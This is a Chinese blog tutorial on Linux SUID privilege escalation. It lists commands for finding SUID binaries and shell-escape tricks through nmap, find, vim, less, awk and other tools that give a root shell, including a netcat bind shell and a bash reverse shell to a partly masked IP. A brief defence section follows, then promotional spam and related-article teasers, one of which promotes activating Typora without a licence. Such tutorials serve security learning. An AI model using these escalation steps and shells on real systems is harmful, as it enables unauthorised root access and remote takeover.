简谈SUID提权

SUID提权

0x01什么是SUID

​ SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

​ 在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

​ 利用此特性,我们可通过SUID进行提权

设置SUID

在了解SUID提权以前 我们简单看一下如何设置SUID权限

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

ls -al查看文件权限

image-20210512091902369

chmod u+s binexec

image-20210512092001895

可以看到binexec文件的权限描述符由-rwxr-xr-x变为-rwsr-xr-x

这代表该文件已经获得了suid权限

0x02 通过root设置的具有SUID权限的二进制可执行文件提权

现在已知的具有SUID权限的二进制可执行文件大体有如下这些

nmap
vim
find
bash
more
less
nano
cp
awk

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

image-20210512093627280

以上所有的二进制文件都将以root权限运行 我们随便找一个

image-20210512094121712

可以看到其设置了suid权限且属主为root

nmap

适用版本:nmap2.02至5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh
sh-3.2# whoami
root

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

image-20210512095047083

find

​ find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

提权如下:

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

image-20210512100729353

#进入shell
find anyfile -exec '/bin/sh' \;
sh-5.0# whoami
root

linux一般都安装了nc 我们也可以利用nc 广播或反弹shell

广播shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

nc 靶机ip 4444

反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

Vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny  /etc/passwd

通过vim进入shell

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

Bash

以下命令将以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh

more

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano

nano也算是比较上古的文本编辑器了

nano进入shell的方法为

nano #进入nano编辑器
Ctrl + R
Ctrl + X 
#即可输入命令

image-20210512104644924

cp

使用cp 命令覆盖原来的/etc/passwd文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

image-20210512105224739

0x03 防范

SUID提权由来已久,属于一种古早的提权技术,但其生命力经久不衰。

这要求管理员要仔细研究具有SUID权限的文件,不要给易被利用的文件以SUID权限,防止SUID的滥用导致黑客在进入服务器时轻易获取root权限。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~  

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/17673.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

强化学习4:DQN 算法

看这篇文章之前,建议先了解一下:Q-Learning 算法。 1. 算法介绍 DQN 算法全称为 Deep Q-Network,即深度Q网络。它将 Q-Learning 与 Deep Learning 结合在了一起。 1.1 Q-Network Q-Learning 是使用 Q-table 才存储决策信息的,…

AI推文神器,绘唐ai,文刻创作出品,sdmj二合一虹猫

AI推文神器,绘唐ai,文刻创作出品,sdmj二合一虹猫 https://qvfbz6lhqnd.feishu.cn/wiki/CcaewIWnSiAFgokOwLycwi0Encfhttps://qvfbz6lhqnd.feishu.cn/wiki/CcaewIWnSiAFgokOwLycwi0Encf AI推文神器是一种基于人工智能技术的工具,旨在帮助用户快速生成优质的推文。它通过分…

iPhone“已删除”照片被恢复,苹果到底有没有后门?

继微软本周推出的Windows“回忆”功能引发隐私焦虑,遭马斯克和安全大咖们猛烈抨击后,苹果iPhone手机近日也曝出了类似的“记忆门”。 删除十几年的iPhone照片被恢复 近日,有苹果手机用户更新了苹果上周发布的iOS 17.5系统后,意外…

2024最新版本激活Typora,1.8.10.0版本可用

​实测可用日期为:2024-05-28 目前最新版本 1.8.10.0 也是可以实现激活的 注:免修改注册表、不用修改时间,更不需要破解补丁 01、下载&安装 Typora 文件 从官网下载最新版本的 Typora,并安装 或者阿里云盘: htt…

Pytorch深度学习实践笔记12(b站刘二大人)

🎬个人简介:一个全栈工程师的升级之路! 📋个人专栏:pytorch深度学习 🎀CSDN主页 发狂的小花 🌄人生秘诀:学习的本质就是极致重复! 《PyTorch深度学习实践》完结合集_哔哩哔哩_bilibi…

数据集008:吸烟、抽烟检测数据集(含数据集下载链接)

数据集简介 两个数据集 一个是783张图片对应的xml文件 一个是2482张图片对应的xml文件 如下图所示: 部分代码: # 测试数据读取 def test_data_loader(datadir, batch_size 10, test_image_size608, modetest):"""加载测试用的图片…

大学生选择算法向还是嵌入式向?

在开始前刚好我有一些资料,是我根据网友给的问题精心整理了一份「嵌入式的资料从专业入门到高级教程」, 点个关注在评论区回复“888”之后私信回复“888”,全部无偿共享给大家!!! 由于嵌入式的薪资待遇和…

品牌建设不迷路:系统化方法让品牌成长更高效

很多创始人才创业过程中都会发现: 企业越大,遇到的系统性的底层品牌问题就会越多,品牌的系统化建设底层根基如果不稳,后续的增长也会摇摇欲坠。 所以在当今竞争激烈的市场环境中,品牌的成功不仅仅依靠一个响亮的名字…

【Linux】Linux的权限_1

文章目录 三、权限1. shell外壳2. Linux的用户3. Linux权限管理文件访问者的分类文件类型和访问权限 未完待续 三、权限 1. shell外壳 为什么要使用shell外壳 由于用户不擅长直接与操作系统直接接触和操作系统的易用程度、安全性考虑,用户不能直接访问操作系统。 什…

文件IO(一)

文件IO(一) 文件IO文件的分类在文件IO下,文件分类按存储的内容分按照操作分 标准IO和文件IO的区别系统调用和库函数的区别 文件IO 把程序暂存在内存的数据,存储到本地外存上 文件的分类 在Linux系统下,文件共分为7类…

AI答题项目,无门槛答题一小时收益30+

朋友们,今天我想和大家探讨一个令人兴奋的副业机遇。你是否曾感觉到日常工作的枯燥乏味,而又渴望找到一种轻松的赚钱方式来增加你的收入?今天我将和你分享的这个项目正是你所期待的。 项目的核心是利用AI技术来回答网上付费用户的问题&…

重生之我要精通JAVA--第六周笔记

File 路径 相对路径 路径1:“a.txt” 路径2:“abc\\a.txt” 绝对路径 路径1:“c:\\a.txt” 路径2:“c:\\abc\\a.txt” File对象就表示一个路径,可以是文件的路径、也可以是文件夹的路径这个路径可以是存在的&…

linux线程,线程控制与线程相关概念

线程概念 线程这个词或多或少大家都听过,今天我们正式的来谈一下线程; 在我一开始的概念中线程就是进程的一部分,一个进程中有很多个线程,这个想法基本是正确的,但细节部分呢我们需要细细讲解一下; 什么…

“揭秘:为什么羊驼Ollama成为计算机运行大型语言模型的最佳拍档?“

最近,AIM 评测了在计算机上本地运行大语言模型(LLM)的最佳工具,Ollama 脱颖而出,成为最高效的解决方案,提供了无与伦比的灵活性。Ollama 是 Jeffrey Morgan 开发的一款开源工具,它正在彻底改变爱…

我被恐吓了,对方扬言要压测我的网站

大家好我是聪,昨天真是水逆,在技术群里交流问题,竟然被人身攻击了!骂的话太难听具体就不加讨论了,人身攻击我可以接受,我接受不了他竟然说要刷我接口!!!!这下…

【NumPy】掌握NumPy的histogram函数:数据直方图的生成与应用详解

🧑 博主简介:阿里巴巴嵌入式技术专家,深耕嵌入式人工智能领域,具备多年的嵌入式硬件产品研发管理经验。 📒 博客介绍:分享嵌入式开发领域的相关知识、经验、思考和感悟,欢迎关注。提供嵌入式方向…

速度百倍提升,高性能 Python 编译器 Codon 火了

引言 在当下的编程世界里,Python由于其易用性和强大的库支持在数据科学、人工智能和网页开发等多个领域占据着举足轻重的地位。然而,Python的执行速度往往成为开发者的一大痛点。 针对 这一问题,Codon项目正试图提供一个高效的解决方案。Codo…

小识MFC,一套设计优雅与不优雅并存的类库----小话MFC(2)

Q1: CPoint继承于POINT,这样有什么好处? A: 继承的一个最基本的好处当然就是减少代码量。CPoint和POINT内部数据一样,只是一个提供了更多的方法来操作对象。 typedef struct tagPOINT {LONG x;LONG y; } POINT, *P…

SpringMvc-restful设计风格

Restful 1、入门1.1 简介1.2 实例 1、入门 1.1 简介 RESTFul是什么 RESTFul是WEB服务接口的一种设计风格。 RESTFul定义了一组约束条件和规范&#xff0c;可以让WEB服务接口更加简洁、易于理解、易于扩展、安全可靠。 1.2 实例 web.xml <?xml version"1.0"…

5、xss-labs之level6

一、level6-----大小写绕过 1、测试分析 测试了之前用过的payload&#xff0c;发现都不行&#xff0c;并且level4使用的Java伪协议也不行&#xff0c;可以得出<>、script、onclick都被过滤 2、构造payload 因为href被过滤&#xff0c;可以试一下大写HREF 初试payload…